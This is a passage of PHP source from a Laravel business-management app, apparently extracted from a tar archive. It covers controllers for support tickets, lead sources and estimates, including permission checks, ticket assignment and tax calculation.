abort_403(user()->permission('edit_tickets') != 'all'); Ticket::whereIn('id', explode(',', $request->row_ids))->update(['status' => $request->status]); } public function create() { $this->addPermission = user()->permission('add_tickets'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->groups = TicketGroup::with('enabledAgents', 'enabledAgents.user')->get(); $this->types = TicketType::all(); $this->channels = TicketChannel::all(); $this->templates = TicketReplyTemplate::all(); $this->employees = User::allEmployees(null, true, ($this->addPermission == 'all' ? 'all' : null)); $this->clients = User::allClients(); $this->countries = countries(); $this->lastTicket = Ticket::orderBy('id', 'desc')->first(); $this->pageTitle = __('modules.tickets.addTicket'); $ticket = new Ticket(); $getCustomFieldGroupsWithFields = $ticket->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } if (request()->default_client) { $this->client = User::find(request()->default_client); } if (isset(request()->default_assign)) { $this->defaultAssign = User::findOrFail(request()->default_assign); } $this->view = 'tickets.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('tickets.create', $this->data); } public function store(StoreTicket $request) { $id = UserService::getUserId(); $ticket = new Ticket(); $ticket->subject = $request->subject; $ticket->status = 'open'; if (user()->is_client_contact == 1) { $ticket->user_id = $id; } else { $ticket->user_id = ($request->requester_type == 'employee') ? $request->user_id : $request->client_id; } $ticket->agent_id = $request->agent_id; $ticket->type_id = $request->type_id; $ticket->priority = $request->priority; $ticket->channel_id = $request->channel_id; $ticket->group_id = $request->group_id; $ticket->project_id = $request->project_id; $ticket->save(); // Save first message $reply = new TicketReply(); $reply->message = trim_editor($request->description); $reply->ticket_id = $ticket->id; $reply->user_id = $id; // Current logged in user $reply->added_by = user()->id; $reply->save(); // To add custom fields data if ($request->custom_fields_data) { $ticket->updateCustomFieldData($request->custom_fields_data); } // Save tags $tags = collect(json_decode($request->tags))->pluck('value'); foreach ($tags as $tag) { $tag = TicketTagList::firstOrCreate([ 'tag_name' => $tag ]); $ticket->ticketTags()->attach($tag); } // Log search $this->logSearchEntry($ticket->ticket_number, $ticket->subject, 'tickets.show', 'ticket'); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('tickets.index'); } return Reply::successWithData(__('messages.recordSaved'), ['replyID' => $reply->id, 'redirectUrl' => $redirectUrl]); } public function show($ticketNumber) { $managePermission = user()->permission('manage_ticket_agent'); $this->ticket = Ticket::with('project', 'reply.user.employeeDetail.designation:id,name', 'reply.files') ->where('ticket_number', $ticketNumber) ->firstOrFail(); abort_403(!$this->ticket->canViewTicket()); $this->ticket = $this->ticket->withCustomFields(); $this->pageTitle = __('app.menu.ticket') . '#' . $this->ticket->ticket_number; $userData = []; $groups = TicketGroup::with('enabledAgents', 'enabledAgents.user')->findOrfail($this->ticket->group_id); $users = User::withoutGlobalScope(ActiveScope::class)->findOrFail($this->ticket->user_id); foreach ($groups->enabledAgents as $agent) { $user = $agent->user; $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $url = route('employees.show', [$users->id]); $userData[] = ['id' => $users->id, 'value' => $users->name, 'image' => $users->image_url, 'link' => $url]; $this->userData = $userData; $this->groups = TicketGroup::with('enabledAgents', 'enabledAgents.user')->get(); $this->types = TicketType::all(); $this->channels = TicketChannel::all(); $this->templates = TicketReplyTemplate::all(); $this->employees = User::withRole('employee') ->join('employee_details', 'employee_details.user_id', '=', 'users.id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->select('users.id', 'users.company_id', 'users.name', 'users.email', 'users.created_at', 'users.image', 'designations.name as designation_name', 'users.email_notifications', 'users.mobile', 'users.country_id', 'users.status')->get(); $this->agents = TicketAgentGroups::query(); $id = UserService::getUserId(); if ($managePermission == 'added') { $this->agents->where('added_by', $id); } elseif ($managePermission == 'owned') { $this->agents->where('agent_id', $id); } elseif ($managePermission == 'both') { $this->agents->where(function($q) use ($id) { $q->where('agent_id', $id) ->orWhere('added_by', $id); }); } elseif ($managePermission == 'none') { $this->agents->where('agent_id', $id); } $this->agents = $this->agents->get(); $this->ticketAgents = $this->employees->whereIn('id', $this->agents->pluck('agent_id')); // for the above $this->ticketChart = $this->ticketChartData($this->ticket->user_id); $getCustomFieldGroupsWithFields = $this->ticket->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } return view('tickets.edit', $this->data); } public function ticketChartData($id) { $labels = ['open', 'pending', 'resolved', 'closed']; $data['labels'] = [__('app.open'), __('app.pending'), __('app.resolved'), __('app.closed')]; $data['colors'] = ['#D30000', '#FCBD01', '#2CB100', '#1d82f5']; $data['values'] = []; foreach ($labels as $label) { $data['values'][] = Ticket::where('user_id', $id)->where('status', $label)->count(); } return $data; } public function update(UpdateTicket $request, $id) { $ticket = Ticket::findOrFail($id); $ticket->status = $request->status; $ticket->save(); $userid = UserService::getUserId(); if ($request->type == 'reply') { $reply = new TicketReply(); $reply->message = $request->message; $reply->ticket_id = $ticket->id; $reply->user_id = $userid; // Current logged in user $reply->type = $request->type; $reply->added_by = user()->id; $reply->save(); return Reply::successWithData(__('messages.ticketReplySuccess'), ['reply_id' => $reply->id]); } if ($request->type == 'note') { $reply = new TicketReply(); $reply->message = $request->message2; $reply->ticket_id = $ticket->id; $reply->user_id = $userid; // Current logged in user $reply->type = $request->type; $reply->added_by = user()->id; $reply->save(); $reply->users()->sync(request()->user_id); return Reply::successWithData(__('messages.noteAddedSuccess'), ['reply_id' => $reply->id]); } return Reply::dataOnly(['status' => 'success']); } public function destroy($id) { $ticket = Ticket::findOrFail($id); abort_403(!$ticket->canDeleteTicket()); Ticket::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function updateOtherData(Request $request, $id) { $ticket = Ticket::findOrFail($id); $ticket->group_id = $request->group_id; $ticket->type_id = $request->type_id; $ticket->priority = $request->priority; $ticket->channel_id = $request->channel_id; $ticket->status = $request->status; $agentGroupData = TicketAgentGroups::where('company_id', company()->id) ->where('status', 'enabled') ->where('group_id', request()->group_id) ->pluck('agent_id') ->toArray(); $ticketData = $ticket->where('company_id', company()->id) ->where('group_id', request()->group_id) ->whereIn('agent_id', $agentGroupData) ->whereIn('status', ['open', 'pending']) ->whereNotNull('agent_id') ->pluck('agent_id') ->toArray(); $diffAgent = array_diff($agentGroupData, $ticketData); if (is_null(request()->agent_id)) { if (!empty($diffAgent)) { $ticket->agent_id = current($diffAgent); } else { $agentDuplicateCount = array_count_values($ticketData); if (!empty($agentDuplicateCount)) { $minVal = min($agentDuplicateCount); $agentId = array_search($minVal, $agentDuplicateCount); $ticket->agent_id = $agentId; } } } else { $ticket->agent_id = request()->agent_id; } $ticket->save(); // Save tags $tags = collect(json_decode($request->tags))->pluck('value'); TicketTag::where('ticket_id', $ticket->id)->delete(); foreach ($tags as $tag) { $tag = TicketTagList::firstOrCreate([ 'tag_name' => $tag ]); $ticket->ticketTags()->attach($tag); } return Reply::success(__('messages.updateSuccess')); } public function refreshCount(Request $request) { $viewPermission = user()->permission('view_tickets'); $tickets = Ticket::with('agent','group.enabledAgents'); if (!is_null($request->startDate) && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $tickets->where(DB::raw('DATE(`updated_at`)'), '>=', $startDate); } if (!is_null($request->endDate) && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $tickets->where(DB::raw('DATE(`updated_at`)'), '<=', $endDate); } $tagIds = is_array($request->tagId) ? $request->tagId : explode(',', $request->tagId); $totalTagLists = TicketTagList::all(); $totaltags = ($totalTagLists->count() + 1) - count($tagIds); if (is_array($request->tagId) && $request->tagId[0] !== 'all') { $tickets->join('ticket_tags', 'ticket_tags.ticket_id', 'tickets.id') ->whereIn('ticket_tags.tag_id', $tagIds) ->groupBy('tickets.id'); } elseif(is_array($request->tagId) && $request->tagId[0] !== 'all' && $totaltags > 0){ $tickets->join('ticket_tags', 'ticket_tags.ticket_id', 'tickets.id') ->whereIn('ticket_tags.tag_id', $tagIds) ->groupBy('tickets.id'); } elseif(is_array($request->tagId) && $request->tagId[0] == 'all' && $totaltags > 0 && count($tagIds) !== 1){ $tickets->leftJoin('ticket_tags', 'ticket_tags.ticket_id', '=', 'tickets.id') ->where(function ($query) use ($tagIds) { $query->whereIn('ticket_tags.tag_id', $tagIds) ->orWhereNull('ticket_tags.tag_id'); })->groupBy('tickets.id'); }elseif(is_array($request->tagId) && $request->tagId[0] == 'all' && count($tagIds) == 1){ $tickets->whereNotExists(function ($query) { $query->select(DB::raw(1)) ->from('ticket_tags') ->whereColumn('ticket_tags.ticket_id', 'tickets.id'); }); } if (!is_null($request->agentId) && $request->agentId != 'all') { $tickets->where('agent_id', '=', $request->agentId); } if (!is_null($request->priority) && $request->priority != 'all') { $tickets->where('priority', '=', $request->priority); } if (!is_null($request->channelId) && $request->channelId != 'all') { $tickets->where('channel_id', '=', $request->channelId); } if (!is_null($request->typeId) && $request->typeId != 'all') { $tickets->where('type_id', '=', $request->typeId); } if (!is_null($request->groupId) && $request->groupId != 'all') { $tickets->where('group_id', '=', $request->groupId); } if (!is_null($request->projectID) && $request->projectID != 'all') { $tickets->whereHas('project', function ($q) use ($request) { $q->withTrashed()->where('tickets.project_id', $request->projectID); }); } $userid = UserService::getUserId(); $userAssignedInGroup = false; if(in_array('employee', user_roles()) && !in_array('admin', user_roles()) && !in_array('client', user_roles())){ $userAssignedInGroup = TicketGroup::whereHas('enabledAgents', function ($query) use ($userid) { $query->where('agent_id', $userid)->orWhereNull('agent_id'); })->exists(); } if($userAssignedInGroup == false){ if ($viewPermission == 'added') { $tickets->where('added_by', '=', $userid); } if ($viewPermission == 'owned') { $tickets->where(function ($query) use ($userid) { $query->where('user_id', '=', $userid) ->orWhere('agent_id', '=', $userid); }); } if ($viewPermission == 'both') { $tickets->where(function ($query) use ($userid) { $query->where('user_id', '=', $userid) ->orWhere('added_by', '=', $userid) ->orWhere('agent_id', '=', $userid); }); } }else{ $ticketSetting = TicketSettingForAgents::first(); if($ticketSetting?->ticket_scope == 'group_tickets'){ $userGroupIds = TicketGroup::whereHas('enabledAgents', function ($query) use ($userid) { $query->where('agent_id', $userid); })->pluck('id')->toArray(); $ticketSettingGroupIds = is_array($ticketSetting?->group_id) ? $ticketSetting?->group_id : explode(',', $ticketSetting?->group_id); // Find the common group IDs $commonGroupIds = array_intersect($userGroupIds, $ticketSettingGroupIds); if($commonGroupIds){ $tickets->where(function ($query) use ($commonGroupIds, $userid) { $query->where(function ($subQuery) use ($commonGroupIds, $userid) { // Conditions related to user and agent $subQuery->where('user_id', '=', $userid) ->orWhere('added_by', '=', $userid) ->orWhere('agent_id', '=', $userid) ->orWhere('agent_id', '!=', $userid) ->whereIn('group_id', $commonGroupIds); }) // Add orWhere for tickets where agent_id is null ->orWhere(function ($subQuery) use ($commonGroupIds) { $subQuery->whereNull('agent_id') ->whereIn('group_id', $commonGroupIds); }); }); }else{ $tickets->where(function ($query) use ($userGroupIds, $userid) { $query->where(function ($subQuery) use ($userGroupIds, $userid) { // Conditions related to user and agent $subQuery->where('user_id', '=', $userid) ->orWhere('added_by', '=', $userid) ->orWhere('agent_id', '=', $userid) ->orWhere('agent_id', '!=', $userid) ->whereIn('group_id', $userGroupIds); }) // Add orWhere for tickets where agent_id is null ->orWhere(function ($subQuery) use ($userGroupIds) { $subQuery->whereNull('agent_id') ->whereIn('group_id', $userGroupIds); }); }); } } if($ticketSetting?->ticket_scope == 'assigned_tickets'){ $tickets->where(function ($query) use ($userid) { $query->where('agent_id', '=', $userid) ->orWhere('user_id', '=', $userid) ->orWhere('added_by', '=', $userid); }); } } $tickets = $tickets->get(); $openTickets = $tickets->filter(function ($value, $key) { return $value->status == 'open'; })->count(); $pendingTickets = $tickets->filter(function ($value, $key) { return $value->status == 'pending'; })->count(); $resolvedTickets = $tickets->filter(function ($value, $key) { return $value->status == 'resolved'; })->count(); $closedTickets = $tickets->filter(function ($value, $key) { return $value->status == 'closed'; })->count(); $totalTickets = $tickets->count(); $ticketData = [ 'totalTickets' => $totalTickets, 'closedTickets' => $closedTickets, 'openTickets' => $openTickets, 'pendingTickets' => $pendingTickets, 'resolvedTickets' => $resolvedTickets ]; return Reply::dataOnly($ticketData); } public function changeStatus(Request $request) { $ticket = Ticket::findOrFail($request->ticketId); abort_403(!$ticket->canEditTicket()); $ticket->update(['status' => $request->status]); return Reply::successWithData(__('messages.updateSuccess'), ['status' => 'success']); } public function agentGroup($id, $exceptThis = null) { $groups = TicketGroup::with('enabledAgents', 'enabledAgents.user'); $groups = $groups->where('id', $id)->first(); $ticketNumber = request()->ticketNumber; $ticket = Ticket::where('ticket_number', $ticketNumber)->first(); $groupData = []; $userData = []; if (isset($groups) && count($groups->enabledAgents) > 0) { $data = []; foreach ($groups->enabledAgents as $agent) { if($agent->user->id == (int)$exceptThis ?? 0) { continue; } $selected = !is_null($ticket) && $agent->user->id == $ticket->agent_id; $url = route('employees.show', [$agent->user->id]); $userData[] = ['id' => $agent->user->id, 'value' => $agent->user->name, 'image' => $agent->user->image_url, 'link' => $url]; $data[] = view('components.user-option', [ 'user' => $agent->user, 'agent' => false, 'pill' => false, 'selected' => $selected, ])->render(); } $groupData = $userData; } else { $data = ''; } if($exceptThis !== "null" && $exceptThis !== null) { $users = User::findOrFail($exceptThis); $url = route('clients.show', [$users->id]); $userData[] = ['id' => $users->id, 'value' => $users->name, 'image' => $users->image_url, 'link' => $url]; $groupData = $userData; } return Reply::dataOnly(['data' => $data, 'groupData' => $groupData]); } } Http/Controllers/LeadSourceSettingController.php000064400000006241150325104510016131 0ustar00middleware(function ($request, $next) { abort_403(!in_array('leads', $this->user->modules)); return $next($request); }); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->addPermission = user()->permission('add_lead_sources'); abort_403(!in_array($this->addPermission, ['all', 'added'])); return view('lead-settings.create-source-modal'); } /** * @param StoreLeadSource $request * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreLeadSource $request) { $this->addPermission = user()->permission('add_lead_sources'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $source = new LeadSource(); $source->type = $request->type; $source->save(); $leadSource = LeadSource::get(); $options = BaseModel::options($leadSource, $source, 'type'); return Reply::successWithData(__('messages.recordSaved'), ['data' => $options]); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->source = LeadSource::findOrFail($id); $this->editPermission = user()->permission('edit_lead_sources'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->source->added_by == user()->id))); return view('lead-settings.edit-source-modal', $this->data); } /** * @param UpdateLeadSource $request * @param int $id * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateLeadSource $request, $id) { $this->editPermission = user()->permission('edit_lead_sources'); $type = LeadSource::findOrFail($id); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->source->added_by == user()->id))); $type->type = $request->type; $type->save(); return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $type = LeadSource::findOrFail($id); $this->deletePermission = user()->permission('delete_lead_sources'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $type->added_by == user()->id))); LeadSource::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/EstimateController.php000064400000074050150325104510014323 0ustar00pageTitle = 'app.menu.estimates'; $this->pageIcon = 'ti-file'; $this->middleware(function ($request, $next) { abort_403(!in_array('estimates', $this->user->modules)); return $next($request); }); } public function index(EstimatesDataTable $dataTable) { abort_403(!in_array(user()->permission('view_estimates'), ['all', 'added', 'owned', 'both'])); return $dataTable->render('estimates.index', $this->data); } public function create() { $this->addPermission = user()->permission('add_estimates'); abort_403(!in_array($this->addPermission, ['all', 'added'])); if (request('estimate') != '') { $this->estimateId = request('estimate'); $this->type = 'estimate'; $this->estimate = Estimate::with('items', 'items.estimateItemImage', 'client', 'unit', 'client.projects')->findOrFail($this->estimateId); } $this->pageTitle = __('modules.estimates.createEstimate'); $this->clients = User::allClients(); $this->currencies = Currency::all(); $this->lastEstimate = Estimate::lastEstimateNumber() + 1; $this->invoiceSetting = invoice_setting(); $this->zero = ''; if (strlen($this->lastEstimate) < $this->invoiceSetting->estimate_digit) { $condition = $this->invoiceSetting->estimate_digit - strlen($this->lastEstimate); for ($i = 0; $i < $condition; $i++) { $this->zero = '0' . $this->zero; } } $this->taxes = Tax::all(); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->template = EstimateTemplate::all(); $this->units = UnitType::all(); $this->estimateTemplate = null; $this->estimateTemplateItem = null; if (request()->has('template')) { $this->estimateTemplate = EstimateTemplate::findOrFail(request('template')); $this->estimateTemplateItem = EstimateTemplateItem::with('estimateTemplateItemImage')->where('estimate_template_id', request('template'))->get(); } if (request()->has('estimate-request')) { $this->estimateTemplate = EstimateRequest::findOrFail(request('estimate-request')); $this->estimateRequestId = $this->estimateTemplate->id; } $estimate = new Estimate(); $getCustomFieldGroupsWithFields = $estimate->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->client = isset(request()->default_client) ? User::findOrFail(request()->default_client) : null; $userId = UserService::getUserId(); $this->isClient = User::isClient($userId); if ($this->isClient) { $this->client = User::with('projects')->findOrFail($userId); } if (request()->has('estimate-request')) { $this->client = EstimateRequest::findOrFail(request('estimate-request'))->client; } $this->view = 'estimates.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('estimates.create', $this->data); } public function store(StoreEstimate $request) { $items = $request->item_name; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $amount = $request->amount; if (trim($items[0]) == '' || trim($cost_per_item[0]) == '') { return Reply::error(__('messages.addItem')); } foreach ($quantity as $qty) { if (!is_numeric($qty) && (intval($qty) < 1)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $estimate = new Estimate(); $estimate->client_id = $request->client_id; $estimate->project_id = $request->project_id ?? null; $estimate->valid_till = companyToYmd($request->valid_till); $estimate->sub_total = round($request->sub_total, 2); $estimate->total = round($request->total, 2); $estimate->currency_id = $request->currency_id; $estimate->note = trim_editor($request->note); $estimate->discount = round($request->discount_value, 2); $estimate->discount_type = $request->discount_type; $estimate->status = 'waiting'; $estimate->description = trim_editor($request->description); $estimate->estimate_number = $request->estimate_number; $estimate->estimate_request_id = $request->estimate_request_id ?? null; $estimate->save(); if (request()->has('estimate_request_id')) { $estimateRequest = EstimateRequest::findOrFail(request('estimate_request_id')); $estimateRequest->update(['status' => 'accepted', 'estimate_id' => $estimate->id]); } // To add custom fields data if ($request->custom_fields_data) { $estimate->updateCustomFieldData($request->custom_fields_data); } $this->logSearchEntry($estimate->id, $estimate->estimate_number, 'estimates.show', 'estimate'); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('estimates.index'); } return Reply::successWithData(__('messages.recordSaved'), ['estimateId' => $estimate->id, 'redirectUrl' => $redirectUrl]); } public function show($id) { $this->invoice = Estimate::with('sign', 'client', 'unit', 'clientdetails')->findOrFail($id)->withCustomFields(); $this->viewPermission = user()->permission('view_estimates'); $userId = UserService::getUserId(); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->invoice->added_by == $userId) || ($this->viewPermission == 'owned' && $this->invoice->client_id == $userId) || ($this->viewPermission == 'both' && ($this->invoice->client_id == $userId || $this->invoice->added_by == $userId)) )); if($this->invoice->discount_type == 'percent') { $discountAmount = $this->invoice->discount; $this->discountType = $discountAmount.'%'; }else { $discountAmount = $this->invoice->discount; $this->discountType = currency_format($discountAmount, $this->invoice->currency_id); } $getCustomFieldGroupsWithFields = $this->invoice->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->pageTitle = $this->invoice->estimate_number; $this->discount = 0; if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } $taxList = array(); $this->firstEstimate = Estimate::orderBy('id', 'desc')->first(); $items = EstimateItem::whereNotNull('taxes') ->where('estimate_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = EstimateItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->settings = company(); $this->invoiceSetting = invoice_setting(); if (in_array('client', user_roles())) { $lastViewed = now(); $ipAddress = request()->ip(); $this->invoice->last_viewed = $lastViewed; $this->invoice->ip_address = $ipAddress; $this->invoice->save(); } return view('estimates.show', $this->data); } public function edit($id) { $this->estimate = Estimate::with('items.estimateItemImage')->findOrFail($id)->withCustomFields(); $userId = UserService::getUserId(); $this->editPermission = user()->permission('edit_estimates'); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && ($this->estimate->added_by == user()->id || $this->estimate->added_by == $userId)) || ($this->editPermission == 'owned' && $this->estimate->client_id == $userId) || ($this->editPermission == 'both' && ($this->estimate->client_id == $userId || $this->estimate->added_by == user()->id || $this->estimate->added_by == $userId)) )); $this->pageTitle = $this->estimate->estimate_number; $getCustomFieldGroupsWithFields = $this->estimate->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->isClient = User::isClient($userId); $this->units = UnitType::all(); $this->clients = User::allClients(); $this->currencies = Currency::all(); $this->taxes = Tax::all(); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->invoiceSetting = invoice_setting(); $this->view = 'estimates.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('estimates.create', $this->data); } public function update(StoreEstimate $request, $id) { $items = $request->item_name; $itemsSummary = $request->item_summary; $hsn_sac_code = $request->hsn_sac_code; $unitId = request()->unit_id; $product = request()->product_id; $tax = $request->taxes; $quantity = $request->quantity; $cost_per_item = $request->cost_per_item; $amount = $request->amount; $invoice_item_image = $request->invoice_item_image; $invoice_item_image_url = $request->invoice_item_image_url; $item_ids = $request->item_ids; if (trim($items[0]) == '' || trim($items[0]) == '' || trim($cost_per_item[0]) == '') { return Reply::error(__('messages.addItem')); } foreach ($quantity as $qty) { if (!is_numeric($qty) && $qty < 1) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $estimate = Estimate::findOrFail($id); $estimate->client_id = $request->client_id; $estimate->project_id = $request->project_id ?? null; $estimate->valid_till = companyToYmd($request->valid_till); $estimate->sub_total = round($request->sub_total, 2); $estimate->total = round($request->total, 2); $estimate->discount = round($request->discount_value, 2); $estimate->discount_type = $request->discount_type; $estimate->currency_id = $request->currency_id; $estimate->status = $request->status; $estimate->note = trim_editor($request->note); $estimate->description = trim_editor($request->description); $estimate->estimate_number = $request->estimate_number; $estimate->save(); /* Step1 - Delete all items which are not avaialable Step2 - Find old items, update it and check if images are newer or older Step3 - Insert new items with images */ if (!empty($request->item_name) && is_array($request->item_name)) { // Step1 - Delete all invoice items which are not avaialable if (!empty($item_ids)) { EstimateItem::whereNotIn('id', $item_ids)->where('estimate_id', $estimate->id)->delete(); }else { // If `item_ids` is empty, delete all items for the estimate EstimateItem::where('estimate_id', $estimate->id)->delete(); } // Step2&3 - Find old invoices items, update it and check if images are newer or older foreach ($items as $key => $item) { $invoice_item_id = isset($item_ids[$key]) ? $item_ids[$key] : 0; try { $estimateItem = EstimateItem::findOrFail($invoice_item_id); } catch (Exception) { $estimateItem = new EstimateItem(); } $estimateItem->estimate_id = $estimate->id; $estimateItem->item_name = $item; $estimateItem->item_summary = $itemsSummary[$key]; $estimateItem->type = 'item'; $estimateItem->unit_id = (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null; $estimateItem->product_id = (isset($product[$key]) && !is_null($product[$key])) ? $product[$key] : null; $estimateItem->hsn_sac_code = (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null; $estimateItem->quantity = $quantity[$key]; $estimateItem->unit_price = round($cost_per_item[$key], 2); $estimateItem->amount = round($amount[$key], 2); $estimateItem->taxes = ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null); $estimateItem->field_order = $key + 1; $estimateItem->save(); /* Invoice file save here */ if ((isset($invoice_item_image[$key]) && $request->hasFile('invoice_item_image.' . $key)) || isset($invoice_item_image_url[$key])) { /* Delete previous uploaded file if it not a product (because product images cannot be deleted) */ //phpcs:ignore if (!isset($invoice_item_image_url[$key]) && $estimateItem && $estimateItem->estimateItemImage) { Files::deleteFile($estimateItem->estimateItemImage->hashname, EstimateItemImage::FILE_PATH . '/' . $estimateItem->id . '/'); } $filename = ''; if (isset($invoice_item_image[$key])) { $filename = Files::uploadLocalOrS3($invoice_item_image[$key], EstimateItemImage::FILE_PATH . '/' . $estimateItem->id . '/'); } EstimateItemImage::updateOrCreate( [ 'estimate_item_id' => $estimateItem->id, ], [ 'filename' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getClientOriginalName() : null, 'hashname' => isset($invoice_item_image[$key]) ? $filename : null, 'size' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getSize() : null, 'external_link' => isset($invoice_item_image[$key]) ? null : (isset($invoice_item_image_url[$key]) ? $invoice_item_image_url[$key] : null), ] ); } } } // To add custom fields data if ($request->custom_fields_data) { $estimate->updateCustomFieldData($request->custom_fields_data); } return Reply::redirect(route('estimates.index'), __('messages.updateSuccess')); } public function destroy($id) { $estimate = Estimate::findOrFail($id); $this->deletePermission = user()->permission('delete_estimates'); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $estimate->added_by == user()->id) || ($this->deletePermission == 'owned' && $estimate->client_id == user()->id) || ($this->deletePermission == 'both' && ($estimate->client_id == user()->id || $estimate->added_by == user()->id)) )); Estimate::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function download($id) { $this->invoiceSetting = invoice_setting(); $this->estimate = Estimate::with('unit')->findOrFail($id)->withCustomFields(); $getCustomFieldGroupsWithFields = $this->estimate->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->viewPermission = user()->permission('view_estimates'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->estimate->added_by == user()->id) || ($this->viewPermission == 'owned' && $this->estimate->client_id == user()->id) || ($this->viewPermission == 'both' && ($this->estimate->client_id == user()->id || $this->estimate->added_by == user()->id)) )); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $pdfOption = $this->domPdfObjectForDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->invoiceSetting = invoice_setting(); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $this->estimate = Estimate::findOrFail($id)->withCustomFields(); $getCustomFieldGroupsWithFields = $this->estimate->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->discount = 0; if ($this->estimate->discount > 0) { if ($this->estimate->discount_type == 'percent') { $this->discount = (($this->estimate->discount / 100) * $this->estimate->sub_total); } else { $this->discount = $this->estimate->discount; } } $taxList = array(); $items = EstimateItem::whereNotNull('taxes') ->where('estimate_id', $this->estimate->id) ->get(); $this->invoiceSetting = invoice_setting(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = EstimateItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / 